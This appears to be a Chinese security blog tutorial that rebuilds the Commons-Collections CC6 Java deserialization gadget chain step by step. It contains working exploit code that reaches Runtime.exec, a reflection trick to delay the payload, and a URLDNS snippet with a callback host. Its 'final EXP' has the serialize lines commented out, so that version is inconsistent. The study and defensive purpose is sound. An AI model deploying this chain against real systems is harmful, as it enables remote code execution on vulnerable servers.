avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home Java反序列化Commons-Collections篇03-CC6链
文章

Java反序列化Commons-Collections篇03-CC6链

Posted 2025-09-1 Updated 2025-09- 1
By Administrator
25~32 min read

官方的CC6链Payload:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java

尾部的exec方法

和之前的CC1链是一样的InvokerTransformer.transform()方法

TiedMapEntry

我们可以从LazyMap.get()的上一层链子 TiedMapEntry 开始复现

getValue

TiedMapEntry的getValue方法会调用map.get(key)方法,也就是说我们可以将构造好的lazymap的恶意内容放入到这里。

这里先尝试以此方法执行恶意代码,先把到lazymap的exp写出来

        Runtime runtime=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        //invokerTransformer.transform(runtime);
        HashMap hashMap=new HashMap<>();
        hashMap.put("key","value");
        Map lazymap=LazyMap.decorate(hashMap,invokerTransformer);


        Class c= LazyMap.class;
        Method method=c.getDeclaredMethod("get", Object.class)    ;
        method.setAccessible(true);
        method.invoke(lazymap,runtime);

然后在这个基础上接着写TiedMapEntry.getValue的利用方式

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap hashMap=new HashMap<>();
        //hashMap.put("key","value");
        Map lazyMap=LazyMap.decorate(hashMap,chainedTransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key");
        tiedMapEntry.getValue();

这里我刚开始用的是hashMap.put("key","value");,发现不能正确运行

解释为hashMap.put("key", "value"); 之后,LazyMap 中已经存在键 "key" 对应的值 "value"。当 TiedMapEntry.getValue() 被调用时,LazyMap 发现这个键已经存在,会直接返回现有的值,而不会去调用我们设置的 ChainedTransformer。因此,恶意代码(exec("calc"))就不会被执行。

所以这里改成hashMap.put("value","value");或者直接把这行代码去掉都行。就是避免一下重名就行

这里就是利用tiedMapEntry.getValue()中的map.get(key),将lazy传入map之后触发lazymap的get函数。

到此为止确定了TiedMapEntry链子的可用性,所以我接下来就是要找getValue的同名函数,同时由于此函数很常见,所以我们一般会优先找同一类下是否存在调用情况。

hashCode

这里找到同名函数的hashCode()方法调用了getValue()

在 Java 反序列化当中,看见了 hashCode()后基本用这一条:

hashMap.put(Object key,Object value);

由此构造新的exp

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap hashMap=new HashMap<>();
        hashMap.put("value","value");
        Map lazyMap=LazyMap.decorate(hashMap,chainedTransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key");
        HashMap expmap=new HashMap<>();
        expmap.put(tiedMapEntry,"va");

这里因为在反序列化的时候会自动执行readObject,而Hash的readObject会执行HashMap.put并自动调用.hashCode,这一点在之前分析URLDNS链的时候就提到过,如图

public class CC6 {
    public static void main(String[] args)throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap hashMap=new HashMap<>();
        hashMap.put("value","value");
        Map lazyMap=LazyMap.decorate(hashMap,chainedTransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key");
        HashMap expmap=new HashMap<>();
        expmap.put(tiedMapEntry,"va");

        serialize(expmap);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

但是这里打断点调试会发现在序列化的时候就会弹出计算器

解决在序列化的时候就弹出计算器的问题

有没有一种似曾相识的感觉,没错这个问题在我们之前分析URLDNS链的时候也出现过,让我们回顾一下URLDNS链为什么会出现在序列化时被执行的问题。

重点在这里刚开始hashcode初始为-1的时候,hashmap.put就就调用了.hashCode,最终导致exec命令运行,并且运行完之后hashCode的值发生变化,在序列化的时候反而不能触发触发代码。

当时我们通过反射技术改变已有对象的属性,让hashCode的值重新变回-1

就是这样

public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        // 这里不要发起请求
        URL url = new URL("http://8dmp5g4lqv4ojwh0g0cesf8sijoacz.oastify.com");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        serialize(hashmap);
    }

然后让我们回到这里,断点调试一下这里是什么原因

然后我就发现计算器在根本还没开始序列化,在这里this.key=key的时候就已经提前弹出了。

分析一下这个现象的原因,在调试的时候,调试器为了展示变量的详细信息会自动调用对象的toString方法。

所以到这里的时候会自动调用TiedMapEntry.toString()

检查TiedMapEntry,发现了这里的toString函数应该是这里自动调用了getValue,所以这次应该是调试模式下特有的自动调用执行了。

所以这里把toString视图关掉

解决完这一问题之后发现还是在反序列化之前就调用了

所以这里根本的解决办法是 通过修改Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);这一语句,将本来构造好的恶意代码换成一个没用的东西Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));,再在之后通过反射将它改回 chainedTransformer。相关的属性值在 LazyMap 当中为 factory。

同时我们要删除map类型里面的key值内容,让它为false,才能让

最终EXP

public class CC6 {
    public static void main(String[] args)throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<Object,Object>();
        Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));

        //HashMap<Object,Object> map2 = new HashMap<>();

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

        //map2.put(tiedMapEntry,"bbb");
        map.remove("aaa");

        Class c = LazyMap.class;
        Field fieldfactory = c.getDeclaredField("factory");
        fieldfactory.setAccessible(true);
        fieldfactory.set(lazymap,chainedTransformer);
        //serialize(map2);
        unserialize("ser.bin");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

lazymap中先传入一个没用的东西

map.remove("aaa") 移除map类型里面的key值内容,确保了后续调用 lazymap.get(key) 时,key肯定不存在,一定会去调用工厂Transformer。

最后通过反射将lazymap中的值改回chainedTransformer,实现在反序列化的时候执行恶意代码

总结

由于CC6的通用性和稳定性远远高于CC1,因为它基于HashMap这个稳定且必要的类,所以在评估一个目标时,如果发现它使用了存在版本漏洞的Commons Collecyions,并且没有配置反序列化过滤器,那么CC6链就是一个非常可靠的首选利用方案。

java.io.ObjectInputStream.readObject()
    java.util.HashMap.readObject()
        java.util.HashMap.put()
        java.util.HashMap.hash()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get()
                    org.apache.commons.collections.functors.ChainedTransformer.transform()
                    org.apache.commons.collections.functors.InvokerTransformer.transform()
                    java.lang.reflect.Method.invoke()
                        java.lang.Runtime.exec()

java反序列化
java反序列化
License:  CC BY 4.0
Share

Further Reading

Oct 9, 2025

Java反序列化-RMI的几种攻击方式

RMI的基本攻击方式 RMI Client打RMI Registry RMI Client打RMI Server RMI Client 打RMI Registry 与注册中心的交互主要是这句话 Naming.bind("rmi://127.0.0.1:1099/sayHello", new Remo

Sep 28, 2025

Java反序列化-RMI流程分析

概述 官方文档:https://docs.oracle.com/javase/tutorial/rmi/overview.html RMI应用程序通常由两个独立的程序组成,一个服务器和一个客户端。服务端通过绑定这个远程对象类,它可以封装网络操作。客户端层面上只需要传递一个名字,还有地址。RMI提供了

Sep 21, 2025

Shiro反序列化漏洞-Shiro550

环境搭建 tomcat8.5.81 JDK1.7下载地址 https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html 下载shrio对应的war包 https://github.com/jas502n/

OLDER

Java反序列化Commons-Collections02 -CC1链(LazyMap)

NEWER

Java反序列化Commons-Collections篇04-CC3链

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy